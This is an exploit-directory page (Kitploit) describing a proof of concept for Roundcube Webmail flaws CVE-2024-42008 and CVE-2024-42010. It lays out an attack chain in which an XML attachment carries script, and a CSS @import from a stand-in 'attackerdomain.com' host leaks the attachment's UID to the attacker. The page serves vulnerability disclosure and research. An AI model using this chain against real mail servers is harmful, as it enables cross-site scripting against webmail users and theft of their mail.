Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC — POC for Roundcube vulnerabilities CVE-2024-42008 and CVE-2024-42010 | Kitploit
Tools/GitHubGitHub/victoni/roundcube-cve-2024-42008-and-cve-2024-42010-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityEmail Security
GitHubvictoni/roundcube-cve-2024-42008-and-cve-2024-42010-poc

Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC

POC for Roundcube vulnerabilities CVE-2024-42008 and CVE-2024-42010

View Repository
2431 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    589
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    361
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

Proof of Concept: CVE-2024-42008 and CVE-2024-42010

This proof of concept (PoC) demonstrates the exploitation of two vulnerabilities in Roundcube Webmail that enable CSS injection and a cross-site scripting (XSS). The attack consists of two stages:

  1. XSS via malicious XML attachment (CVE-2024-42008)

    Because of insufficient file upload checks, an XML file can be sent as an attachment with JavaScript code e.g.

    <something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
    	alert(origin)
    </something:script>
    

    This was a known issue and tracked as CVE-2020-13965 and the mitigation was to disable the "Open attachment" option. But the file can still be accessed through the endpoint

    https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
    

    Where UID is the unique identifier for this particular attachment in this particular mailbox (i.e. INBOX).

  2. HTML exfiltration via CSS injection (CVE-2024-42010)

    When sending an email, it is possible to inject your own CSS file, when hosted in a domain that starts with a. Through that and a JavaScript server file that processes the requests made by the vulnerable Roundcube host, it is possible to extract the UID of the malicious XSS attachment.

    Import the CSS in a sent email with

    <style>
    	@import "//a.attackerdomain.com/start?"
    </style>
    

    Host the JS server (roundcube-css-exploit.js) that exfiltrates the UID of the malicious attachment

Attack Chain

  1. Host in your domain the JavaScript server
  2. Send an email with a malicious XML attachment and import the CSS from your domain
  3. The victim opens the email and the UID gets exfiltrated
  4. Then, depending on the preferred way of the XSS delivery you can either send a second email with the attachment link or redirect the user through there.

Source: Government Emails at Risk: Critical Cross-Site Scripting Vulnerability in Roundcube Webmail (Sonar's Vulnerability Research Team)

Download Tool